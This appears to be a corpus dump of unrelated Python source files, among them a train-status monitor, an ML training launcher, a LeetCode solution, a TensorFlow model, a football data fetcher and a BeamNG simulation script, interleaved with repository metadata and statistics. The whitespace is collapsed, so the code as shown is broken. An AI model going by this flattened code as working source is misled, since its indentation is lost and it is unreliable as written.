edgefarm/edgefarm-demos

6381d4a2f7f9c1d0632ab8123fed2bd0763d3b34

[ "MIT" ]

9

2021-04-21T10:37:45.000Z

2021-07-28T05:56:50.000Z

usecase-2/monitoring/fleet-seat-info-monitor/src/seat_res_train_monitor.py

edgefarm/train-simulation

6381d4a2f7f9c1d0632ab8123fed2bd0763d3b34

[ "MIT" ]

null

import logging import datetime import asyncio from edgefarm_application.base.application_module import application_module_network_nats from edgefarm_application.base.avro import schemaless_decode from run_task import run_task from state_tracker import StateTracker from schema_loader import schema_load _logger = logging.getLogger(__name__) _state_report_subject = "public.seatres.status" class SeatResTrainMonitor: def __init__(self, train_id, q): self.train_id = train_id self.edge_report_ts = None # this is the combined state from the train and the train online state self.state = StateTracker( "TrainSeatRes", { "UNKNOWN": "unknown", "OFFLINE": "offline", "ONLINE-UNKNOWN": "online, unclear state", "ONLINE-NOK": "online, but not ok", "ONLINE-OK": "online, ok", }, ) # this is just the online state of the train self.state_online = StateTracker( "Train-Online-Monitor", { "UNKNOWN": "train state unknown", "OFFLINE": "train is offline", "ONLINE": "train is online", }, ) self._q = q self._task = asyncio.create_task(run_task(_logger, q, self._watchdog)) async def start(self): self.state.update("UNKNOWN") await self.state_online.update_and_send_event("UNKNOWN", self._send_event) def stop(self): self._task.cancel() async def update_edge_state(self, state): self.edge_report_ts = datetime.datetime.now() if state == -1: up_state = "ONLINE-UNKNOWN" elif state == 0: up_state = "ONLINE-NOK" elif state == 1: up_state = "ONLINE-OK" self.state.update(up_state) await self.state_online.update_and_send_event("ONLINE", self._send_event) async def _watchdog(self): while True: now = datetime.datetime.now() if self.edge_report_ts is not None: if (now - self.edge_report_ts).total_seconds() > 10: self.state.update("OFFLINE") await self.state_online.update_and_send_event( "OFFLINE", self._send_event ) await asyncio.sleep(1) async def _send_event(self, data): data["train_id"] = self.train_id await self._q.put(data) class TrainStatusCollector: """ Collect seat reservation system status of all trains. The individual trains report their SeatRes state via Nats subject 'public.seatres.status' to this module. """ def __init__(self, q): self._nc = application_module_network_nats() self._q = q self._state_report_codec = schema_load(__file__, "system_status") self._trains = {} async def start(self): self._state_report_subscription_id = await self._nc.subscribe( _state_report_subject, cb=self._state_report_handler ) async def stop(self): await self._nc.unsubscribe(self._state_report_subscription_id) for v in self._trains.values(): v.stop() async def add_train(self, train_id): if train_id not in self._trains.keys(): v = SeatResTrainMonitor(train_id, self._q) self._trains[train_id] = v await v.start() else: v = self._trains[train_id] return v def trains(self): return self._trains.values() async def _state_report_handler(self, nats_msg): """ Called when a NATS message is received on _state_report_subject """ reply_subject = nats_msg.reply msg = schemaless_decode(nats_msg.data, self._state_report_codec) _logger.debug(f"state report received msg {msg}") train_id = msg["data"]["trainId"] try: v = self._trains[train_id] await self._update_edge_state(v, msg) except KeyError: _logger.info(f"received state report from new train {train_id}") v = await self.add_train(train_id) await self._update_edge_state(v, msg) await self._nc.publish(reply_subject, b"") async def _update_edge_state(self, v, msg): try: await v.update_edge_state(msg["data"]["status"]) except KeyError: _logger.error(f"couldn't find [data][status] in {msg}")

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b538595bde41c89c5a8fbdc33e2ae560a927b953

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py

Python

src/AML/run_training.py

monkeypants/CartridgeOCR

a2cdaa72e3839a881118b85f5ff7b4515579004b

[ "MIT" ]

2

2021-07-12T02:37:46.000Z

2021-12-28T23:03:20.000Z

src/AML/run_training.py

monkeypants/CartridgeOCR

a2cdaa72e3839a881118b85f5ff7b4515579004b

[ "MIT" ]

28

2021-12-29T00:51:24.000Z

2022-03-24T08:03:59.000Z

src/AML/run_training.py

monkeypants/CartridgeOCR

a2cdaa72e3839a881118b85f5ff7b4515579004b

[ "MIT" ]

4

2021-09-24T16:13:43.000Z

2022-03-09T17:52:35.000Z

import sys from azureml.core import Workspace, Experiment, Environment, ScriptRunConfig from azureml.core.compute import ComputeTarget, AmlCompute from azureml.core.compute_target import ComputeTargetException from shutil import copy ws = Workspace.from_config() # Choose a name for your CPU cluster # cpu_cluster_name = "cpucluster" cpu_cluster_name = "gpucompute" experiment_name = "main" src_dir = "model" script = "train.py" # Verify that cluster does not exist already try: cpu_cluster = ComputeTarget(workspace=ws, name=cpu_cluster_name) print('Found existing cluster, use it.') except ComputeTargetException: compute_config = AmlCompute.provisioning_configuration(vm_size='Standard_DS12_v2', max_nodes=4) cpu_cluster = ComputeTarget.create(ws, cpu_cluster_name, compute_config) cpu_cluster.wait_for_completion(show_output=True) experiment = Experiment(workspace=ws, name=experiment_name) copy('./config.json', 'model/config.json') myenv = Environment.from_pip_requirements(name="myenv", file_path="requirements.txt") myenv.environment_variables['PYTHONPATH'] = './model' myenv.environment_variables['RUNINAZURE'] = 'true' config = ScriptRunConfig(source_directory=src_dir, script="./training/train.py", arguments=sys.argv[1:] if len(sys.argv) > 1 else None, compute_target=cpu_cluster_name, environment=myenv) run = experiment.submit(config) aml_url = run.get_portal_url() print(aml_url)

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b538fc619dc6adad01e93a8132a517e7cc8b2d80

818

py

Python

tests/conftest.py

cielavenir/pyppmd-py2

c148b8fbe7cb0c0e9f68fdf9a1c3599325f0e4c8

[ "BSD-3-Clause" ]

3

2021-05-04T13:20:39.000Z

2021-11-03T12:43:02.000Z

tests/conftest.py

cielavenir/pyppmd-py2

c148b8fbe7cb0c0e9f68fdf9a1c3599325f0e4c8

[ "BSD-3-Clause" ]

39

2021-04-16T02:55:28.000Z

2022-03-30T14:23:50.000Z

tests/conftest.py

cielavenir/pyppmd-py2

c148b8fbe7cb0c0e9f68fdf9a1c3599325f0e4c8

[ "BSD-3-Clause" ]

3

2021-07-07T17:39:30.000Z

2022-03-30T15:15:44.000Z

import cpuinfo def pytest_benchmark_update_json(config, benchmarks, output_json): """Calculate compression/decompression speed and add as extra_info""" for benchmark in output_json["benchmarks"]: if "data_size" in benchmark["extra_info"]: rate = benchmark["extra_info"].get("data_size", 0.0) / benchmark["stats"]["mean"] benchmark["extra_info"]["rate"] = rate def pytest_benchmark_update_machine_info(config, machine_info): cpu_info = cpuinfo.get_cpu_info() brand = cpu_info.get("brand_raw", None) if brand is None: brand = "{} core(s) {} CPU ".format(cpu_info.get("count", "unknown"), cpu_info.get("arch", "unknown")) machine_info["cpu"]["brand"] = brand machine_info["cpu"]["hz_actual_friendly"] = cpu_info.get("hz_actual_friendly", "unknown")

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b53920dd20dbdafabadb24be44f2a512437147fb

331

py

Python

examples/test_gcld3.py

lbp0200/EasyNMT

d253e9346996a47aa989bb33aed72e531528dc27

[ "Apache-2.0" ]

null

examples/test_gcld3.py

lbp0200/EasyNMT

d253e9346996a47aa989bb33aed72e531528dc27

[ "Apache-2.0" ]

null

examples/test_gcld3.py

lbp0200/EasyNMT

d253e9346996a47aa989bb33aed72e531528dc27

[ "Apache-2.0" ]

null

import time import gcld3 detector = gcld3.NNetLanguageIdentifier(min_num_bytes=0, max_num_bytes=1000) # text = "This text is written in English" text = "薄雾" while True: result = detector.FindLanguage(text=text) print(text, result.probability, result.language) time.sleep(0.01)

25.461538

59

0.65861

41

331

5.219512

0.658537

0.074766

0

0.040323

0.250755

331

12

60

27.583333

0.822581

0.120846

0

0.00692

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1

0

false

0

0.222222

0

0.222222

0.111111

0

null

0

null

0

1

0

b539e3fd28c31f9e28937feef603fdbd7a3fc98e

1,593

py

Python

src/0075下一个排列/index.py

zzh2036/OneDayOneLeetcode

1198692e68f8f0dbf15555e45969122e1a92840a

[ "MIT" ]

null

src/0075下一个排列/index.py

zzh2036/OneDayOneLeetcode

1198692e68f8f0dbf15555e45969122e1a92840a

[ "MIT" ]

null

src/0075下一个排列/index.py

zzh2036/OneDayOneLeetcode

1198692e68f8f0dbf15555e45969122e1a92840a

[ "MIT" ]

null

''' 实现获取下一个排列的函数，算法需要将给定数字序列重新排列成字典序中下一个更大的排列。如果不存在下一个更大的排列，则将数字重新排列成最小的排列（即升序排列）。必须原地修改，只允许使用额外常数空间。示例 1：输入：nums = [1,2,3] 输出：[1,3,2] 示例 2：输入：nums = [3,2,1] 输出：[1,2,3] 示例 3：输入：nums = [1,1,5] 输出：[1,5,1] 示例 4：输入：nums = [1] 输出：[1] 提示： 1 <= nums.length <= 100 0 <= nums[i] <= 100 ''' class Solution: def nextPermutation(self, nums: List[int]) -> None: """ Do not return anything, modify nums in-place instead. """ n = len(nums) if n <= 1: return nums # 从右向左循环数组 i = n - 1 while i > 0: # 找到相邻的两位元素，右侧的数值大于左侧的数值 if nums[i] > nums[i - 1]: # 从右向左循环 n - 1到 i区间的数组元素 j = n - 1 while j >= i: # 找到在此区间内比 i - 1位置的数值大的元素，开始进行换位操作 if nums[j] > nums[i - 1]: # 移位交换操作 self.exchangeVal(nums, i - 1, j) # 将 n - 1到 i区间的元素调整为升序，即为最小的数值排列 self.reverseArr(nums, i, n - 1) return j -= 1 i -= 1 # 如果是降序数组，则反转数组，称为最小数值的排列 self.reverseArr(nums, 0, n - 1) def exchangeVal(self, arr, left, right): arr[left], arr[right] = arr[right], arr[left] def reverseArr(self, arr, begin, end): while begin < end: self.exchangeVal(arr, begin, end) begin += 1 end -= 1 if __name__ == '__main__': points = [1, 2, 3] ins = Solution() ins.nextPermutation(points) print(points)

22.125

61

0.468927

199

1,593

3.713568

0.371859

0.040595

0.028417

0

0.054507

0.40113

1,593

71

62

22.43662

0.720126

0.310107

0

0.007533

0

1

0.103448

false

0

0.206897

0.034483

0

null

0

null

0

1

0

b53df049332ea39e2f7827214e41edfb7e42ca6c

7,885

py

Python

feed_forward_model.py

karlschrader/deepPD

678793c9026eab2681d2d0a3b7e7f9f91c0f3bc5

[ "MIT" ]

null

feed_forward_model.py

karlschrader/deepPD

678793c9026eab2681d2d0a3b7e7f9f91c0f3bc5

[ "MIT" ]

null

feed_forward_model.py

karlschrader/deepPD

678793c9026eab2681d2d0a3b7e7f9f91c0f3bc5

[ "MIT" ]

null

import os from datetime import datetime import numpy as np import tensorflow as tf from tensorflow.python.training import moving_averages TF_DTYPE = tf.float64 MOMENTUM = 0.99 EPSILON = 1e-6 DELTA_CLIP = 50.0 class FeedForwardModel(): """ Abstract class for creating neural networks. Offers functions to build or clone individual layers of complete networks """ def __init__(self, bsde, run_name): self._bsde = bsde # ops for statistics update of batch normalization self._extra_train_ops = [] self.tb_dir = tf.app.flags.FLAGS.tensorboard_dir + run_name + "_" + datetime.now( ).strftime('%Y_%m_%d_%H_%M_%S') os.mkdir(self.tb_dir) def _clone_subnetwork(self, input_, timestep, layer_count, weights): """ Clone a neural network, using the same weights as the source networks. Args: input_ (Tensor): Input of the neural network that will be build timestep (float): Time index, used for tensor names layer_count (int): number of layers in the neural network that should be cloned weights (np.array(size=[num_timesteps, layer_count])) Returns: Tensor: Output of the last layer of the neural network """ with tf.variable_scope(str(timestep)): hiddens = self._batch_norm(input_, name='path_input_norm') for i in range(1, layer_count - 1): hiddens = self._copy_batch_layer(hiddens, 'layer_{}'.format(i), i, timestep, weights) output = self._copy_batch_layer(hiddens, 'final_layer', layer_count - 1, timestep, weights) return output def _subnetwork(self, input_, timestep, num_hiddens): """ Generate a neural network Args: input_ (Tensor): Input of the neural network that will be build timestep (float): Time index, used for tensor name num_hiddens (np.array(size=[layer_count])): Specifies the number of additional dimensions for each layer of the neural network. Returns: Tensor: Output of the last layer of the neural network """ matrix_weights = [] with tf.variable_scope(str(timestep)): # input norm hiddens = self._batch_norm(input_, name='path_input_norm') for i in range(1, len(num_hiddens) - 1): hiddens, weight = self._dense_batch_layer( hiddens, num_hiddens[i] + self._bsde.dim, activation_fn=tf.nn.relu, layer_name='layer_{}'.format(i), ) matrix_weights.append(weight) # last layer without relu output, weight = self._dense_batch_layer( hiddens, num_hiddens[-1] + self._bsde.dim, activation_fn=None, layer_name='final_layer', ) matrix_weights.append(weight) return output, matrix_weights def _dense_batch_layer(self, input_, output_size, activation_fn=None, stddev=5.0, layer_name="linear"): """ Generate one fully connected layer Args: input_ (Tensor): Input of layer output_size (int): Number of outputs this layer should have KwArgs: activation_fn (Function): activation function for the neurons in this layer. Will usually be ReLU, but can be left blank for the last layer. stddev (float): stddev to use for the initial distribution of weights in this layer layer_name (string): tensorflow name used for the variables in this layer Returns: Tensor: Output of the layer tf.Variable: Reference to the used Matrix weight """ with tf.variable_scope(layer_name): shape = input_.get_shape().as_list() weight = tf.get_variable( 'Matrix', [shape[1], output_size], TF_DTYPE, tf.random_normal_initializer( stddev=stddev / np.sqrt(shape[1] + output_size))) # matrix weight hiddens = tf.matmul(input_, weight) #batch norm hiddens_bn = self._batch_norm(hiddens) if activation_fn: return activation_fn(hiddens_bn), weight return hiddens_bn, weight def _copy_batch_layer(self, input_, layer_name, layer, timestep, weights): """ Copy one fully connected layer, reusing the weights of the previous layer Args: input_ (Tensor): Input of layer layer_name (string): tensorflow name used for the variables in this layer layer (int): index of the layer in the current timestep timestep (int): index of the current timestep weights (np.array(size=[num_timesteps, layer_count])): weight database to copy from Returns: Tensor: Output of the layer """ with tf.variable_scope(layer_name): # init matrix weight with matrix weights from primal stage weight = tf.Variable(weights[timestep - 1][layer - 1], 'Matrix') hiddens = tf.matmul(input_, weight) hiddens_bn = self._batch_norm(hiddens) return hiddens_bn def _batch_norm(self, input_, name='batch_norm'): """ Batch normalize the data Args: input_ (Tensor): Input of layer KwArgs: name (string): Used as tensorflow name Returns: Tensor: Output of the layer See https://arxiv.org/pdf/1502.03167v3.pdf p.3 """ with tf.variable_scope(name): params_shape = [input_.get_shape()[-1]] beta = tf.get_variable( 'beta', params_shape, TF_DTYPE, initializer=tf.random_normal_initializer( 0.0, stddev=0.1, dtype=TF_DTYPE)) gamma = tf.get_variable( 'gamma', params_shape, TF_DTYPE, initializer=tf.random_uniform_initializer( 0.1, 0.5, dtype=TF_DTYPE)) moving_mean = tf.get_variable( 'moving_mean', params_shape, TF_DTYPE, initializer=tf.constant_initializer(0.0, TF_DTYPE), trainable=False) moving_variance = tf.get_variable( 'moving_variance', params_shape, TF_DTYPE, initializer=tf.constant_initializer(1.0, TF_DTYPE), trainable=False) # These ops will only be performed when training mean, variance = tf.nn.moments(input_, [0], name='moments') self._extra_train_ops.append( moving_averages.assign_moving_average(moving_mean, mean, MOMENTUM)) self._extra_train_ops.append( moving_averages.assign_moving_average(moving_variance, variance, MOMENTUM)) mean, variance = tf.cond(self._is_training, lambda: (mean, variance), lambda: (moving_mean, moving_variance)) hiddens_bn = tf.nn.batch_normalization(input_, mean, variance, beta, gamma, EPSILON) hiddens_bn.set_shape(input_.get_shape()) return hiddens_bn

38.842365

95

0.557261

872

7,885

4.824541

0.231651

0.01545

0.022819

0.02377

0.365581

0.314476

0.246019

0.214405

0.151652

0

0.009419

0.367153

7,885

202

96

39.034653

0.833667

0.29423

0

0.281818

0

0.030564

0

1

0.054545

false

0

0.045455

0

0.163636

0

null

0

null

0

1

0

b540b40d9aaf331bef2f785083b2bbd7ed30bfe6

619

py

Python

Fibonacci/Python/fibonacci.py

IanDoarn/LearningRepo

4c5906b3c1f497a979c3fce89a66d1e571cd6b42

[ "MIT" ]

null

Fibonacci/Python/fibonacci.py

IanDoarn/LearningRepo

4c5906b3c1f497a979c3fce89a66d1e571cd6b42

[ "MIT" ]

null

Fibonacci/Python/fibonacci.py

IanDoarn/LearningRepo

4c5906b3c1f497a979c3fce89a66d1e571cd6b42

[ "MIT" ]

null

""" Fibonacci sequence using python generators Written by: Ian Doarn """ def fib(): # Generator that yields fibonacci numbers a, b = 0, 1 while True: # First iteration: yield a # yield 0 to start with and then a, b = b, a + b # a will now be 1, and b will also be 1, (0 + 1) if __name__ == '__main__': # Maximum fib numbers to print max_i = 20 for i, fib_n in enumerate(fib()): #Print each yielded fib number print('{i:3}: {f:3}'.format(i=i, f=fib_n)) # Break when we hit max_i value if i == max_i: break

23.807692

75

0.55412

97

619

3.402062

0.57732

0.018182

0

0.027094

0.344103

619

25

76

24.76

0.785714

0.466882

0

0.063291

0

1

0.090909

false

0

0.090909

0

null

0

null

0

1

0

b543f58cf6e8b8dc209086801165057172e20d3f

1,711

py

Python

scripts/test_spider_roundtrip.py

mattr1/seq2struct_forPRs

cdc9e3c94380fb479ed3e3c77f370038d27cf2d6

[ "MIT" ]

25

2019-07-16T22:32:44.000Z

2022-01-25T05:23:07.000Z

scripts/test_spider_roundtrip.py

mattr1/seq2struct_forPRs

cdc9e3c94380fb479ed3e3c77f370038d27cf2d6

[ "MIT" ]

19

2018-12-17T20:42:11.000Z

2020-02-12T21:29:51.000Z

scripts/test_spider_roundtrip.py

mattr1/seq2struct_forPRs

cdc9e3c94380fb479ed3e3c77f370038d27cf2d6

[ "MIT" ]

22

2019-03-16T05:57:27.000Z

2020-10-25T04:34:54.000Z

import ast import argparse import json import os import pprint import astor import tqdm import _jsonnet from seq2struct import datasets from seq2struct import grammars from seq2struct.utils import registry from third_party.spider import evaluation def main(): parser = argparse.ArgumentParser() parser.add_argument('--config', required=True) parser.add_argument('--config-args') parser.add_argument('--output', required=True) args = parser.parse_args() if args.config_args: config = json.loads(_jsonnet.evaluate_file(args.config, tla_codes={'args': args.config_args})) else: config = json.loads(_jsonnet.evaluate_file(args.config)) os.makedirs(args.output, exist_ok=True) gold = open(os.path.join(args.output, 'gold.txt'), 'w') predicted = open(os.path.join(args.output, 'predicted.txt'), 'w') train_data = registry.construct('dataset', config['data']['train']) grammar = registry.construct('grammar', config['model']['decoder_preproc']['grammar']) evaluator = evaluation.Evaluator( 'data/spider-20190205/database', evaluation.build_foreign_key_map_from_json('data/spider-20190205/tables.json'), 'match') for i, item in enumerate(tqdm.tqdm(train_data, dynamic_ncols=True)): parsed = grammar.parse(item.code, 'train') sql = grammar.unparse(parsed, item) evaluator.evaluate_one( item.schema.db_id, item.orig['query'].replace('\t', ' '), sql) gold.write('{}\t{}\n'.format(item.orig['query'].replace('\t', ' '), item.schema.db_id)) predicted.write('{}\n'.format(sql)) if __name__ == '__main__': main()

30.553571

102

0.663939

211

1,711

5.222749

0.417062

0.045372

0.046279

0.041742

0.161525

0.123412

0.079855

0

0.013709

0.189947

1,711

55

103

31.109091

0.781385

0

0.124489

0.035652

0

1

0.02381

false

0

0.285714

0

0.309524

0.02381

0

null

0

null

0

1

0

b5473421d6c0b8e5ed5978ee678700c80296d6a9

1,340

py

Python

utils/model_helper.py

CocoBir/django-restful-demo

aeb7f8a0bcff5c52b528c7b0c48f87de5f392320

[ "MIT" ]

null

utils/model_helper.py

CocoBir/django-restful-demo

aeb7f8a0bcff5c52b528c7b0c48f87de5f392320

[ "MIT" ]

null

utils/model_helper.py

CocoBir/django-restful-demo

aeb7f8a0bcff5c52b528c7b0c48f87de5f392320

[ "MIT" ]

null

# -*- coding: utf-8 -*- """ model helper ~~~~~~~~~~~~ :Created: 2016-8-5 :Copyright: (c) 2016<smileboywtu@gmail.com> """ from customer_exceptions import OffsetOutOfRangeException class ListModelHelper(object): """get the object list""" @classmethod def list(cls, index=0, limit=8, sort=None, order='asc'): """get the list of the model object :param condition: filter condition :param index: page index :param limit: page entry number :param sort: sort condition :param order: asc or desc :return: object list """ if not sort: sort = 'id' order_by = '-' + sort if order != 'asc' else sort offset = index * limit # check the offset total = cls.objects.count() if offset > total: raise OffsetOutOfRangeException() return { 'total': total, 'datalist': cls.objects.order_by(order_by)\ [offset:offset + limit] } class ViewModelHelper(object): """get a single instance""" @classmethod def view(cls, pk): """ get a specific objects :param pk: primary key :return: """ return cls.objects.get(id=pk) class GenericModelHelper(ListModelHelper, ViewModelHelper): pass

23.103448

60

0.568657

144

1,340

5.263889

0.465278

0.031662

0

0.014161

0.314925

1,340

57

61

23.508772

0.811547

0.319403

0

0.095238

0

0.028424

0

1

0.095238

false

0.047619

0

0.380952

0

null

0

null

0

1

0

b5484bee48cb34153d413c1639f3e4d36037235a

2,323

py

Python

tests/test_filters/test_edges.py

luluricketts/biothings_explorer

ae2009ff285f96a08e0145f242846ca613b5069c

[ "Apache-2.0" ]

null

tests/test_filters/test_edges.py

luluricketts/biothings_explorer

ae2009ff285f96a08e0145f242846ca613b5069c

[ "Apache-2.0" ]

null

tests/test_filters/test_edges.py

luluricketts/biothings_explorer

ae2009ff285f96a08e0145f242846ca613b5069c

[ "Apache-2.0" ]

null

""" Tests for edges.py """ import unittest import pandas as pd from biothings_explorer.user_query_dispatcher import SingleEdgeQueryDispatcher from biothings_explorer.filters.edges import filter_node_degree class TestFilterEdges(unittest.TestCase): # test for count values def test_count_values(self): counts = [10, 20, 40, 50, 100] seqd = SingleEdgeQueryDispatcher(input_cls='Gene', output_cls='ChemicalSubstance', input_id='NCBIGene', values='1017') seqd.query() for count in counts: newG = filter_node_degree(seqd.G, count) self.assertEqual(len(newG.nodes), count+1) # edge case test if count > num nodes, then returns num_nodes results def test_num_nodes(self): count = 1000 seqd = SingleEdgeQueryDispatcher(input_cls='Gene', output_cls='ChemicalSubstance', input_id='NCBIGene', values='1017') seqd.query() newG = filter_node_degree(seqd.G, count) self.assertEqual(len(newG.nodes), len(seqd.G.nodes)) # test for correct ordering of ranks def test_ranks(self): seqd = SingleEdgeQueryDispatcher(input_cls='Disease', input_id='MONDO', output_cls='PhenotypicFeature', pred='related_to', values='MONDO:0010997') seqd.query() newG = filter_node_degree(seqd.G) for i1,node1 in enumerate(newG.nodes): if node1 == 'MONDO:MONDO:0010997': continue for i2,node2 in enumerate(newG.nodes): if node2 == 'MONDO:MONDO:0010997': continue if newG.degree(node1) > newG.degree(node2): self.assertLess(newG.nodes.data()[node1]['rank'], newG.nodes.data()[node2]['rank']) elif newG.degree(node1) < newG.degree(node2): self.assertGreater(newG.nodes.data()[node1]['rank'], newG.nodes.data()[node2]['rank']) if __name__ == '__main__': unittest.main()

40.754386

106

0.54025

233

2,323

5.23176

0.351931

0.059065

0.052502

0.091058

0.45119

0.415094

0.359311

0.331419

0

0.039624

0.359019

2,323

56

107

41.482143

0.779046

0.061989

0

0.340909

0

0.082988

0

0.090909

1

0.068182

false

0

0.090909

0

0.181818

0

null

0

null

0

1

0

b54ed986a0849287fd62118ba89a87ae8732ba9e

974

py

Python

get_data.py

ryanw3bb/fpl

a06fbf8ada5f549f0750ed9af46f53b3a1a0149e

[ "MIT" ]

1

2018-08-15T02:52:52.000Z

get_data.py

ryanw3bb/fpl

a06fbf8ada5f549f0750ed9af46f53b3a1a0149e

[ "MIT" ]

null

get_data.py

ryanw3bb/fpl

a06fbf8ada5f549f0750ed9af46f53b3a1a0149e

[ "MIT" ]

null

""" Retrieves data as json files from fantasy.premierleague.com """ import json import requests LAST_SEASON_DATA_FILENAME = "data/player_data_20_21.json" DATA_URL = "https://fantasy.premierleague.com/api/bootstrap-static/" DATA_FILENAME = "data/player_data_21_22.json" FIXTURES_URL = "https://fantasy.premierleague.com/api/fixtures/" FIXTURES_FILENAME = "data/fixtures_data_21_22.json" # Download all player data and write file def get_player_data(use_last_season): if use_last_season: return LAST_SEASON_DATA_FILENAME r = requests.get(DATA_URL) json_response = r.json() with open(DATA_FILENAME, 'w') as out_file: json.dump(json_response, out_file) return DATA_FILENAME # Download all fixtures data and write file def get_fixtures_data(): r = requests.get(FIXTURES_URL) json_response = r.json() with open(FIXTURES_FILENAME, 'w') as out_file: json.dump(json_response, out_file) return FIXTURES_FILENAME

24.974359

68

0.74846

142

974

4.84507

0.288732

0.087209

0.100291

0.063953

0.468023

0.392442

0.229651

0.148256

0

0.014634

0.158111

974

38

69

25.631579

0.82439

0.145791

0

0.190476

0

0.227218

0.100851

0

1

0.095238

false

0

0.095238

0

0.333333

0

null

0

null

0

1

0

b54f720607fa63d495bc79cd36045e62028217a1

5,587

py

Python

examples/spawning5.py

MissMeriel/BeamNGpy

a8467c57537441802bc5b56f0012dfee2b5f5af0

[ "MIT" ]

1

2021-08-10T19:29:52.000Z

examples/spawning5.py

MissMeriel/BeamNGpy

a8467c57537441802bc5b56f0012dfee2b5f5af0

[ "MIT" ]

null

examples/spawning5.py

MissMeriel/BeamNGpy

a8467c57537441802bc5b56f0012dfee2b5f5af0

[ "MIT" ]

null

from beamngpy import BeamNGpy, Vehicle, Scenario, ScenarioObject from beamngpy import setup_logging, Config from beamngpy.sensors import Camera, GForces, Lidar, Electrics, Damage, Timer import beamngpy import time, random # globals default_model = 'pickup' default_scenario = 'west_coast_usa' #'cliff' # smallgrid dt = 20 def spawn_point(scenario_locale): if scenario_locale is 'cliff': #return {'pos':(-124.806, 142.554, 465.489), 'rot':None, 'rot_quat':(0, 0, 0.3826834, 0.9238795)} return {'pos': (-124.806, 190.554, 465.489), 'rot': None, 'rot_quat': (0, 0, 0.3826834, 0.9238795)} elif scenario_locale is 'west_coast_usa': #return {'pos':(-717.121, 101, 118.675), 'rot':None, 'rot_quat':(0, 0, 0.3826834, 0.9238795)} return {'pos': (-717.121, 101, 118.675), 'rot': None, 'rot_quat': (0, 0, 0.918812, -0.394696)} #906, 118.78 rot: elif scenario_locale is 'smallgrid': return {'pos':(0.0, 0.0, 0.0), 'rot':None, 'rot_quat':(0, 0, 0.3826834, 0.9238795)} def setup_sensors(vehicle): # Set up sensors pos = (-0.3, 1, 1.0) direction = (0, 1, 0) fov = 120 resolution = (512, 512) front_camera = Camera(pos, direction, fov, resolution, colour=True, depth=True, annotation=True) pos = (0.0, 3, 1.0) direction = (0, -1, 0) fov = 90 resolution = (512, 512) back_camera = Camera(pos, direction, fov, resolution, colour=True, depth=True, annotation=True) gforces = GForces() electrics = Electrics() damage = Damage() damage.encode_vehicle_request() lidar = Lidar(visualized=False) timer = Timer() # Attach them vehicle.attach_sensor('front_cam', front_camera) vehicle.attach_sensor('back_cam', back_camera) vehicle.attach_sensor('gforces', gforces) vehicle.attach_sensor('electrics', electrics) vehicle.attach_sensor('damage', damage) vehicle.attach_sensor('timer', timer) return vehicle def compare_damage(d1, d2): for key in d1['damage']: if d1['damage'][key] != d2['damage'][key]: print("d1['damage'][{}] == {}; d2['damage'][{}] == {}".format(key, d1['damage'][key], key, d2['damage'][key])) try: # handle specific keys if key == 'deform_group_damage' or key == 'part_damage': for k in d1['damage'][key].keys(): print("\td1['damage'][{}][{}] == {}; d2['damage'][{}][{}] == {}".format(key, k, d1['damage'][key][k], key, k, d2['damage'][key][k])) else: if d1['damage'][key] < d2['damage'][key]: print("\td2[damage][{}] is greater".format(key)) else: print("\td1[damage][{}] is greater".format(key)) except: continue print() return def backup(cum_list, sec): #return "1_24" dt = sec * 5.0 index = len(cum_list) - int(dt) if index < 0: index = 0 elif index >= len(cum_list): index = len(cum_list) -1 print("cum_list={}".format(cum_list)) print("index={}".format(index)) #try: return cum_list[index] #except: #return "0_0" def main(): global default_model, default_scenario beamng = BeamNGpy('localhost', 64256, home='C:/Users/merie/Documents/BeamNG.research.v1.7.0.1') #scenario = Scenario('smallgrid', 'spawn_objects_example') scenario = Scenario(default_scenario, 'research_test', description='Random driving for research') vehicle = Vehicle('ego_vehicle', model=default_model, licence='PYTHON') vehicle = setup_sensors(vehicle) spawn = spawn_point(default_scenario) scenario.add_vehicle(vehicle, pos=spawn['pos'], rot=spawn['rot'], rot_quat=spawn['rot_quat']) scenario.make(beamng) bng = beamng.open() bng.load_scenario(scenario) bng.start_scenario() vehicle.update_vehicle() d1 = bng.poll_sensors(vehicle) cum_list = [] bound = 0.0 for i in range(3): for _ in range(45): bound = bound + 0.0 # 0.1 # vehicle.save() vehicle.update_vehicle() d2 = bng.poll_sensors(vehicle) throttle = 1.0 #throttle = random.uniform(0.0, 1.0) steering = random.uniform(-1 * bound, bound) brake = 0.0 #random.choice([0, 0, 0, 1]) vehicle.control(throttle=throttle, steering=steering, brake=brake) pointName = "{}_{}".format(i, _) cum_list.append(pointName) vehicle.saveRecoveryPoint(pointName) bng.step(20) print("SEGMENT #{}: COMPARE DAMAGE".format(i)) damage_diff = compare_damage(d1, d2) d1 = d2 # "Back up" 1 second -- load vehicle at that time in that position. backup_pointName = backup(cum_list, 0.001) print('recovering to {}'.format(pointName)) loadfile = vehicle.loadRecoveryPoint(backup_pointName) print('loadfile is {}'.format(loadfile)) bng.pause() vehicle.update_vehicle() vehicle.load(loadfile) #vehicle.load("vehicles/pickup/vehicle.save.json") bng.resume() #vehicle.startRecovering() #time.sleep(1.5) #vehicle.stopRecovering() vehicle.update_vehicle() bng.pause() time.sleep(2) # vehicle.load("vehicles/pickup/vehicle.save.json") bng.resume() bng.close() if __name__ == "__main__": main()

36.51634

133

0.583139

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5,587

4.632117

0.264234

0.015128

0.0104

0.022061

0.211787

0.173338

0.162622

0.144343

0.113457

0

0.067558

0.263469

5,587

153

134

36.51634

0.703524

0.121711

0

0.12069

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0.122466

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1

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0.137931

0.086207

0

null

0

null

0

1

0

b5526b9490a6617e9343309ab67db978943793e5

1,070

py

Python

SmallTips/RemoveDuplication.py

Akasan/PythonTips

eee85c35fd25576c7b2b01af838749608bf8989c

[ "MIT" ]

null

SmallTips/RemoveDuplication.py

Akasan/PythonTips

eee85c35fd25576c7b2b01af838749608bf8989c

[ "MIT" ]

null

SmallTips/RemoveDuplication.py

Akasan/PythonTips

eee85c35fd25576c7b2b01af838749608bf8989c

[ "MIT" ]

null

import pickle def remove_duplicate_from_list(data): """ remove duplications from specific list any data can be contained in the data. if the data is hashable, you can implement this function easily like below. data = list(set(data)) but if the data is unhashable, you have to implement in other ways. This function use pickle.dumps to convert any data to binary. Binary data is hashable, so after that, we can implement like with hashable data. Arguments: data {list(any)} -- list that contains any type of data Returns: {list(any)} -- list that contains any type of data without duplications """ pickled_data = [pickle.dumps(d) for d in data] removed_pickled_data = list(set(pickled_data)) result = [pickle.loads(d) for d in removed_pickled_data] return result if __name__ == "__main__": data = [1, 2, 2, 3, 2, 2, 2, 6] print(remove_duplicate_from_list(data)) data = ["hoge", 1, "hdf", 3.4, "hoge", 2, 2, 2] print(remove_duplicate_from_list(data))

36.896552

89

0.66729

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1,070

